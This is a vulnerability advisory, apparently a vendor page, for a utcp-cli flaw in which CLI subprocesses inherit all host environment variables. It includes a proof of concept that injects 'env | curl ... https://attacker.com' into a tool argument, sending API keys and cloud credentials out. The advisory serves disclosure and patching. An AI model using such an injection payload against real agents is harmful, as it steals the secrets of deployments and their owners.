CVE-2026-45370

_prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in _substitute_utcp_args() tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.

Vulnerable Code

# cli_communication_protocol.py
def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]:
    env = os.environ.copy()        # All secrets inherited
    if provider.env_vars:
        env.update(provider.env_vars)
    return env

Proof of Concept

# Tool defined as:
{"command": "grep UTCP_ARG_pattern_UTCP_END logfile.txt"}

# Attacker supplies:
tool_args = {"pattern": "x; env | curl -s -d @- https://attacker.com"}

# Executed bash script:
# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2>&1)
# -> Full env dump sent to attacker including all secrets

Patched

Fixed in utcp-cli 1.1.2. _prepare_environment no longer copies the full host environment. Inheritance is controlled by a new CliCallTemplate.inherit_env_vars field:

• null (default): a small built-in OS-specific allowlist (PATH, HOME, LANG on Unix; PATH, PATHEXT, SYSTEMROOT, USERPROFILE, etc. on Windows) is inherited so shells and binaries continue to work.
• []: strict mode -- nothing from the host environment reaches the subprocess; only env_vars is propagated.
• ["FOO", "BAR"]: exactly those host variables are inherited (replaces, not merges with, the default allowlist).

env_vars is always layered on top and overrides any inherited value. Secrets like OPENAI_API_KEY no longer reach the subprocess unless the call template explicitly opts them in.

Mitigation

Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.

Credit

Reported by @ZeroXJacks.

Any environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:

• Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)
• Database connection strings (DATABASE_URL)
• LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)
• Internal service tokens

CVE-2026-45370 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.1.2); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-45370? CVE-2026-45370 is a high-severity security vulnerability in utcp-cli (pip), affecting versions <= 1.1.1. It is fixed in 1.1.2.
2. How severe is CVE-2026-45370? CVE-2026-45370 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of utcp-cli are affected by CVE-2026-45370? utcp-cli (pip) versions <= 1.1.1 is affected.
4. Is there a fix for CVE-2026-45370? Yes. CVE-2026-45370 is fixed in 1.1.2. Upgrade to this version or later.
5. Is CVE-2026-45370 exploitable, and should I be worried? Whether CVE-2026-45370 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45370 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45370? Upgrade utcp-cli to 1.1.2 or later.